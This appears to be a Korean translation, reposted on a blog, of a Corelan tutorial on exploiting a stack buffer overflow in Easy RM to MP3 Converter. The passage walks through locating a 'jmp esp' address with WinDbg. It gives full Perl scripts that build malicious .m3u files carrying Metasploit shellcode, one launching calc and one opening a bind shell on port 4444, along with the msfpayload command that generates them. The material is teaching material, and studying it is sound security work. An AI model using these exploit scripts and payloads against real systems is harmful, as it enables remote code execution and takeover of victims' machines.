프로그램 실행 시 종료되지만 충돌로 인한 종료가 아닌 break로 인한 종료를 예상해 볼 수 있다. EIP는 000ff730을 가르키는 것을 볼 수 있으며 ESP 값을 덤프했을 경우 우리가 예상치 못한 값들이 있는 것을 확인할 수 있다.

결국에 메모리 주소로 바로 점프하는 것은 좋은 방법이 아니다. (000ff730은 문자열 종료자인 null 바이트를 갖고 있다. 따라서 A 값은 첫번째 버퍼 뒤에 저장된다. EIP를 변경한 뒤 우리가 생성한 데이터에 접근할 수 없는 것이다.

exploit code에 접근하기 위해서 메모리 주소를 사용하는 것은 매우 불안정하다. 메모리 주소는 OS 버젼, 언어 등에 따라서 틀리기 때문이다.

EIP를 000ff730 같은 직접적인 메모리 주소로 덮어씌우면 안된다. 이것은 안정적이지 않으며 null 바이트 때문에 좋은 생각이 아니다. 우리는 원하는 코드로 분기하기 위해서 다른 방법을 사용해야 한다. 이상적인 방법은 ESP와 같이 레지스터(레지스터 오프셋)를 통해 참조할 수 있다.

 

Jump to the shellcode in a reliable way

ESP가 가르키는 주소에 우리의 shellcode를 작성했었다.(다른 말로 ESP는 우리의 shellcode의 시작 부분을 가르키게 된다.) EIP를 ESP의 주소로 덮어씌우는 것은 프로그램의 흐름을 ESP로 분기하게 한 뒤 shellcode를 실행시기기 위함이었다. ESP로의 분기는 윈도우 응용 프로그램의 일반적인 사례이다. 실제로 윈도우 응용 프로그램은 하나 이상의 dll을 사용하여 이 dll에는 많은 명령어 구문이 존재한다. 게다가 dll에서 사용되는 주소는 정적이다. 따라서 ESP로 분기하는 명령어가 있는 dll을 찾은 뒤 EIP를 해당 dll의 명령어 주소로 분기할 경우 우리가 원한 shellcode가 실행될 것이다.

그렇다면 먼저 "jmp esp" 명령의 opcode를 살펴봐야한다. Easy RM to MP3 를 실행한 뒤 windbg를 실행하여 Easy RM to MP3 프로그램을 hook(attach)한다. (프로세스에 연결만 시킬 뿐 아무런 작업도 하지 않는다.) windbg를 통해 해당 프로그램이 로딩한 dll 및 모듈 리스트를 확인할 수 있을 것이다.

windbg를 프로세스에 attach하고 난 뒤에 프로그램은 정지할 것이다.

windbg 화면 하단의 명령창에서 a(assemble)을 입력하고 엔터를 누른 뒤 "jmp esp"를 입력하고 엔터를 누른다.

엔터를 다시 누른 뒤 "u 주소(jmp esp를 입력하기 전 화면에 나타난 주소)"를 입력한다.

jmp esp의 opcode가 ffe4인 것을 알 수 있다. 이제 로딩된 dll 중에서 ffe4의 opcode를 찾아야 한다. windbg 창의 상단을 보면 Easy RM to MP3에 의해 로딩된 dll 목록을 볼 수 있다.

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86

Copyright (c) Microsoft Corporation. All rights reserved.

Symbol search path is: srv*c:\Symbols*http://msdl.microsoft.com/download/symbols

Executable search path is:

ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe

ModLoad: 7c930000 7c9cc000 C:\WINDOWS\system32\ntdll.dll

ModLoad: 7c800000 7c92e000 C:\WINDOWS\system32\kernel32.dll

ModLoad: 76660000 76703000 C:\WINDOWS\system32\WININET.dll

ModLoad: 77bc0000 77c18000 C:\WINDOWS\system32\msvcrt.dll

ModLoad: 77e70000 77ee6000 C:\WINDOWS\system32\SHLWAPI.dll

........

ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll

ModLoad: 719e0000 719f7000 C:\WINDOWS\system32\WS2_32.dll

ModLoad: 719d0000 719d8000 C:\WINDOWS\system32\WS2HELP.dll

ModLoad: 00b50000 00bef000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll

ModLoad: 01900000 01971000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll

ModLoad: 01980000 01987000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll

ModLoad: 01990000 01e5d000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll

ModLoad: 01e60000 01e71000 C:\WINDOWS\system32\MSVCIRT.dll

ModLoad: 02290000 022ae000 C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll

ModLoad: 72f50000 72f76000 C:\WINDOWS\system32\WINSPOOL.DRV

ModLoad: 022d0000 022e0000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll

ModLoad: 024f0000 02502000 C:\Program Files\Easy RM to MP3 Converter\MSLog.dll

위의 dll 목록 중에 하나에서 opcode(ffe4)를 찾을 수 있다면 windows 환경에서 exploit이 안정적으로 동작할 수 있는 좋은 기회를 찾을 수 있다. OS에 속해있는 dll을 사용한다면 다른 버젼의 OS에서는 exploit이 동작하지 않을 것이다. 따라서 Easy RM to MP3의 dll 목록 중에서 찾아보도록 한다.

C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll의 주소 영역에서 찾아보자. 해당 dll은 01990000 ~ 01e5d000주소에 로드된 것을 확인할 수 있다. 해당 영역에서 ffe4를 검색해 본다.

주소 선택 시에는 null byte 유무가 매우 중요하다. null byte가 있는 주소의 사용은 가급적 피해야 한다. (특히 EIP를 덮어 씌운 뒤의 버퍼 데이터를 사용한다면 null byte는 문자열 종결자(string terminator) 역할을 하게 될 것이며 나머지 버퍼의 데이터는 사용할 수 없게 될 것이다.)

opcode를 찾는 또 다른 좋은 방법은 다음과 같다.

"s 70000000 l ffffffff ff e4" (윈도우 dll의 주소를 결과로 줄 것이다.)

※ Note : opcode를 찾는 다른 방법 들

findjmp : findjmp.c를 컴파일 후에 아래와 같은 인자로 실행한다.

findjmp <DLLfile> <register>. Suppose you want to look for jumps to esp in kernel32.dll, run "findjmp kernel32.dll esp"

On Vista SP2, you should get something like this :

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with the esp register

0x773AF74B call esp

Finished Scanning kernel32.dll for code useable with the esp register

Found 1 usable addresses

metasploit opcode databse를 이용한다.

• memdump(다음 포스트에서 설명)

• Immunity Debugger의 pvefindaddr 플러그인를 사용(해당 방법은 불안정한 포인터를 자동으로

필터링하기 때문에 매우 추천한다.)

shellcode를 ESP가 가르키는 곳(EIP를 덮어 씌운 뒤 오는 payload 문자열)에 저장하기 원하기 때문에 jmp esp 주소는 null byte를 포함해서는 안된다. 해당 주소에 null byte가 있을 경우 EIP를 덮어 씌울 수 없게 된다. null byte는 문자열 종결자(string terminator) 역할을 하므로 뒤에 나오는 모든 데이터는 무시된다. 일부 경우에는 null byte로 시작되는 것이 가능하기도 하다. 주소가 null byte로 시작된다면 little endian 때문에 null byte는 EIP 레지스터의 마지막 byte가 될 것이다.

어쨌든 우리는 EIP를 덮어 씌운 후의 payload를 shellcode 저장소로 사용할 것이다. 따라서 주소에는 null byte가 있어서는 안된다.

우리가 찾은 첫번째 주소는 0x01b4f23a 이다.

0x01b4f23a 주소를 unassemble하여 실제로 jmp esp 명렁어가 있는지 확인해 보자.

만약 EIP를 0x01b4f23a로 덮어 씌우면 jmp esp가 실행될 것이다. ESP에는 우리의 shellcode가 저장되어 있으므로 exploit을 실행시킬 수 있다. NOP & break shellcode를 테스트 해보자.

windbg를 종료한다.

아래와 같이 perl 스크립트의 eip 값을 변경한 뒤 새로운 m3u 파일을 생성한다.

my $file= "test1.m3u";

my $junk= "A" x 26096;

my $eip = pack('V',0x01b4f23a);

 

my $shellcode = "\x90" x 25;

 

$shellcode = $shellcode."\xcc";

$shellcode = $shellcode."\x90" x 25;

 

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created successfully\n";

응용 프로그램을 다시 실행한 뒤 windbg를 attach 시키고 "g" 명령어를 입력하여 프로그램 실행시킨다. 새로 생성한 m3u 파일을 로드하게 되면 첫번째 break 값이 있는 000ff745에서 정지하는 것을 확인할 수 있다. 따라서 jmp esp는 정상적으로 동작하는 것을 알 수 있다.(esp는 000ff730에서 시작하지만 아직은 000ff744까지 NOP로 채워져 있다.)

이제 우리에게 필요한 것은 실제 shellcode를 입력하는 것이다. windbg를 다시 종료한다.


Get shellcode and finalize the exploit

Metasploit에는 shellcode 생성에 유용한 payload generator가 존재한다. payload는 다양한 옵션으로 생성이 가능하며 작거나 매우 클 수도 있다. 버퍼 크기에 제한이 있다면 multi-staged shellcode 또는 이곳에 있는 것 같은 수작업으로 생성한 shellcode가 필요할 것이다.

대안으로 shellcode를 작은 "egg"로 분할하고 egg-hunting이라 불리는 기술을 이용하여 실행 전에 조합 가능하다. 튜토리얼 8과 10에서 egg hunting과 omelet hunter에 대해서 설명한다.

이제 exploit payload로 계산기가 실행되도록 해보자. shellcode는 다음과 같다.

# windows/exec - 144 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# EXITFUNC=seh, CMD=calc

my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

최종적으로 perl 스크립트는 다음과 같다.

#

# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker

# Written by Peter Van Eeckhoutte

# http://www.corelan.be:8800

# Greetings to Saumil and SK :-)

#

# tested on Windows XP SP3 (En)

#

#

#

my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26096;

my $eip = pack('V',0x01b4f23a); #jmp esp from MSRMCcodec02.dll

 

my $shellcode = "\x90" x 25;

 

# windows/exec - 144 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

 

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created successfully\n";

디버거에 의해 attach되는 것을 방지하기 위해 autopopup 레지스트리를 비활성화(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug Auto 값을 0으로 변경) 한 뒤에 m3u 파일을 생성 뒤 해당 파일을 로드한다. 응용 프로그램이 종료되면서 계산기가 실행될 것이다.

우리의 첫 번째 exploit이 완성된 것이다!

※ shellcode 전에 25개의 nop(0x90)이 존재한 것에 주목하자. 지금 당장은 걱정할 필요 없다. 차근차근 exploiting에 대해서 배울 것이며, 왜 25개의 nop이 필요한 지 알게 될 것이다.


What if you wnat to do something else than launching calc?

계산기를 실행시키는 shellcode 이외에 원하는 기능의 shellcode를 생성하여 교체할 수 있다. 하지만 해당 코드는 크기 때문에 잘 동작하지 않을 것이다. 메모리의 위치는 다를 것이며 긴 shellcode는 부적절한 문자가 들어 있을 확률이 높다.

우리는 이제 exploit 실행 시 원격의 해커에 접속 후 명령어 라인을 획득하는 기능을 구현해 보자.

해당 shellcode는 다음과 같다.

# windows/shell_bind_tcp - 344 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# EXITFUNC=seh, LPORT=5555, RHOST=

"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .

"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .

"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .

"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .

"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .

"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .

"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .

"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .

"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .

"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .

"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .

"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .

"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .

"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .

"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .

"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .

"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .

"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .

"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .

"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .

"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .

"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .

"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .

"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .

"\xec\xe9\xed\xb0\x0f\x27\xee\xe7"; 

보다시피 shellcode는 344 바이트이다.(계산기 실행 시는 144 바이트로 가능했다.)

위 shellcode를 복사+붙여넣기 후 실행해 보면 충돌만 일어날 뿐 추가 행위가 일어나지 않는다.

이런 일들은 대부분 shellcode 버퍼의 크기(그러나 위의 경우 버퍼의 크기를 확인해 보면 버퍼 크기에 의한 이슈는 아닌 것을 알 수 있다.) 또는 shellcode 내의 부적절한 캐릭터 때문에 발생한다. metasploit을 이용하여 shellcode 생성시 부적절한 캐릭터를 제거할 수 있다. 하지만 어떤 캐릭터가 허용되고 어떤 것이 허용되지 않는지 알아야 한다. 기본적으로 null 바이트는 제한된다.(null 바이트가 있다면 당연히 exploit이 제대로 동작하지 않을 것이다.) 그렇다면 다른 캐릭터 들은 어떨까?

m3u 파일은 파일명을 갖고 있다. 따라서 파일명과 파일 경로의 허용되지 않는 캐릭터를 걸러내는 것이 기본이 된다. 우리는 shikata_ga_nai을 이용할 것이다. 하지만 파일명에 대해서는 alpha_upper가 더 용이할 것이다. 인코딩 기법을 사용하면 shellcode 길이를 증가시키지만 크기는 큰 이슈가 아니라는 것을 앞에서 보았다.

tcp shell bind를 alpha_upper 인코더를 이용하여 생성해 보자. 우리는 shell을 로컬 4444포트에 바인드 시킬 것이다. 새로운 shellcode는 703바이트 이다.(본인이 생성한 shellcode는 751바이트 였다.)

[*] x86/alpha_upper succeeded with size 751 (iteration=1)

 

my $buf =

"\x89\xe7\xdb\xcb\xd9\x77\xf4\x5f\x57\x59\x49\x49\x49\x49" .

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .

"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .

"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .

"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a" .

....

"\x36\x43\x58\x54\x39\x48\x4c\x57\x4f\x4d\x56\x4b\x4f\x49" .

"\x45\x4c\x49\x4d\x30\x50\x4e\x56\x36\x31\x56\x4b\x4f\x56" .

"\x50\x35\x38\x33\x38\x4c\x47\x45\x4d\x43\x50\x4b\x4f\x4e" .

"\x35\x4f\x4b\x4b\x4e\x44\x4e\x50\x32\x4a\x4a\x52\x48\x4e" .

"\x46\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x39\x45\x57\x4c\x33" .

"\x36\x43\x4c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x42\x55\x54" .

"\x45\x4f\x4b\x30\x47\x34\x53\x34\x32\x42\x4f\x43\x5a\x43" .

"\x30\x46\x33\x4b\x4f\x48\x55\x41\x41";

※ metasploit을 이용하여 아래와 같은 방식으로 shellcode 생성이 가능하다.

./msfpayload windows/shell_bind_tcp LPORT=4444 EXITFUNC=seh R | ./msfencode -e x86/alpha_upper -t perl

이제 이 shellcode를 이용해 보자. 새로운 exploit 은 다음과 같다. P.S. 아래 shellcode는 수동으로 충돌이 발생하도록 했다. 따라서 copy & paste시에는 exploit이 정상적으로 동작하지 않을 것이다. 하지만 정상 동작하는 exploit을 어떤 식으로 작성하는지는 알 수 있다.

#

# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker

# Written by Peter Van Eeckhoutte

# http://www.corelan.be:8800

# Greetings to Saumil and SK :-)

#

# tested on Windows XP SP3 (En)

#

#

#

my $file= "exploitrmtomp3.m3u";

 

my $junk= "A" x 26096;

my $eip = pack('V',0x01b4f23a); #jmp esp from MSRMCcodec02.dll

 

my $shellcode = "\x90" x 25;

 

# windows/shell_bind_tcp - 751 bytes

# http://www.metasploit.com

# Encoder: x86/alpha_upper

# EXITFUNC=seh, LPORT=4444, RHOST=

$shellcode = $shellcode."\x89\xe7\xdb\xcb\xd9\x77\xf4\x5f\x57\x59\x49\x49\x49\x49" .

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .

"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .

"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .

"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a" .

"\x48\x4d\x59\x43\x30\x53\x30\x55\x50\x35\x30\x4b\x39\x4b" .

"\x55\x30\x31\x58\x52\x32\x44\x4c\x4b\x30\x52\x50\x30\x4c" .

"\x4b\x30\x52\x34\x4c\x4c\x4b\x46\x32\x52\x34\x4c\x4b\x32" .

"\x52\x31\x38\x54\x4f\x48\x37\x31\x5a\x36\x46\x56\x51\x4b" .

"\x4f\x50\x31\x49\x50\x4e\x4c\x47\x4c\x43\x51\x33\x4c\x45" .

"\x52\x46\x4c\x37\x50\x4f\x31\x58\x4f\x44\x4d\x55\x51\x49" .

"\x57\x4a\x42\x5a\x50\x50\x52\x30\x57\x4c\x4b\x30\x52\x32" .

"\x30\x4c\x4b\x50\x42\x57\x4c\x45\x51\x4e\x30\x4c\x4b\x51" .

"\x50\x42\x58\x4d\x55\x39\x50\x43\x44\x51\x5a\x35\x51\x48" .

"\x50\x50\x50\x4c\x4b\x51\x58\x54\x58\x4c\x4b\x31\x48\x47" .

"\x50\x45\x51\x48\x53\x4a\x43\x37\x4c\x47\x39\x4c\x4b\x47" .

"\x44\x4c\x4b\x33\x31\x4e\x36\x46\x51\x4b\x4f\x30\x31\x49" .

"\x50\x4e\x4c\x49\x51\x48\x4f\x34\x4d\x53\x31\x4f\x37\x57" .

"\x48\x4d\x30\x52\x55\x4c\x34\x34\x43\x53\x4d\x5a\x58\x37" .

"\x4b\x43\x4d\x36\x44\x32\x55\x4a\x42\x31\x48\x4c\x4b\x46" .

"\x38\x51\x34\x35\x51\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x50" .

"\x4b\x4c\x4b\x46\x38\x45\x4c\x55\x51\x59\x43\x4c\x4b\x44" .

"\x44\x4c\x4b\x45\x51\x38\x50\x4c\x49\x31\x54\x37\x54\x47" .

"\x54\x31\x4b\x51\x4b\x53\x51\x31\x49\x31\x4a\x30\x51\x4b" .

"\x4f\x4d\x30\x30\x58\x51\x4f\x31\x4a\x4c\x4b\x54\x52\x4a" .

"\x4b\x4c\x46\x31\x4d\x52\x48\x36\x53\x36\x52\x53\x30\x45" .

"\x50\x35\x38\x42\x57\x54\x33\x56\x52\x51\x4f\x36\x34\x33" .

"\x58\x30\x4c\x44\x37\x37\x56\x35\x57\x4b\x4f\x4e\x35\x48" .

"\x38\x5a\x30\x33\x31\x35\x50\x33\x30\x47\x59\x38\x44\x31" .

"\x44\x56\x30\x52\x48\x56\x49\x4b\x30\x52\x4b\x35\x50\x4b" .

"\x4f\x38\x55\x46\x30\x36\x30\x50\x50\x56\x30\x47\x30\x50" .

"\x50\x47\x30\x30\x50\x33\x58\x5a\x4a\x54\x4f\x59\x4f\x4b" .

"\x50\x4b\x4f\x48\x55\x4b\x39\x59\x57\x46\x51\x39\x4b\x46" .

"\x33\x43\x58\x45\x52\x35\x50\x52\x31\x51\x4c\x4d\x59\x4a" .

"\x46\x32\x4a\x44\x50\x30\x56\x51\x47\x55\x38\x58\x42\x49" .

"\x4b\x30\x37\x53\x57\x4b\x4f\x38\x55\x56\x33\x50\x57\x35" .

"\x38\x48\x37\x4d\x39\x47\x48\x4b\x4f\x4b\x4f\x59\x45\x50" .

"\x53\x30\x53\x50\x57\x42\x48\x33\x44\x5a\x4c\x37\x4b\x4d" .

"\x31\x4b\x4f\x58\x55\x56\x37\x4d\x59\x4f\x37\x35\x38\x42" .

"\x55\x32\x4e\x30\x4d\x45\x31\x4b\x4f\x48\x55\x52\x48\x32" .

"\x43\x42\x4d\x32\x44\x33\x30\x4c\x49\x4b\x53\x31\x47\x51" .

"\x47\x36\x37\x36\x51\x4c\x36\x33\x5a\x44\x52\x36\x39\x56" .

"\x36\x4b\x52\x4b\x4d\x32\x46\x39\x57\x51\x54\x57\x54\x37" .

"\x4c\x53\x31\x43\x31\x4c\x4d\x31\x54\x36\x44\x44\x50\x39" .

"\x56\x45\x50\x30\x44\x31\x44\x56\x30\x31\x46\x51\x46\x36" .

"\x36\x47\x36\x30\x56\x50\x4e\x50\x56\x31\x46\x56\x33\x46" .

"\x36\x43\x58\x54\x39\x48\x4c\x57\x4f\x4d\x56\x4b\x4f\x49" .

"\x45\x4c\x49\x4d\x30\x50\x4e\x56\x36\x31\x56\x4b\x4f\x56" .

"\x50\x35\x38\x33\x38\x4c\x47\x45\x4d\x43\x50\x4b\x4f\x4e" .

"\x35\x4f\x4b\x4b\x4e\x44\x4e\x50\x32\x4a\x4a\x52\x48\x4e" .

"\x46\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x39\x45\x57\x4c\x33" .

"\x36\x43\x4c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x42\x55\x54" .

"\x45\x4f\x4b\x30\x47\x34\x53\x34\x32\x42\x4f\x43\x5a\x43" .

"\x30\x46\x33\x4b\x4f\x48\x55\x41\x41";

 

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created successfully\n";

m3u 파일 생성 후 Easy RM to MP3를 이용하여 열어보면 프로그램이 정지한 것 처럼 보일 것이다.

해당 호스트에 4444포트로 telnet을 해보면 정상적으로 접속되는 것을 확인할 수 있다.

이제 자신의 exploit을 만들어 보자.

© 2009 – 2011, Corelan Team (corelanc0d3r). All rights reserved.

 

신고
Posted by By. PHR34K

티스토리 툴바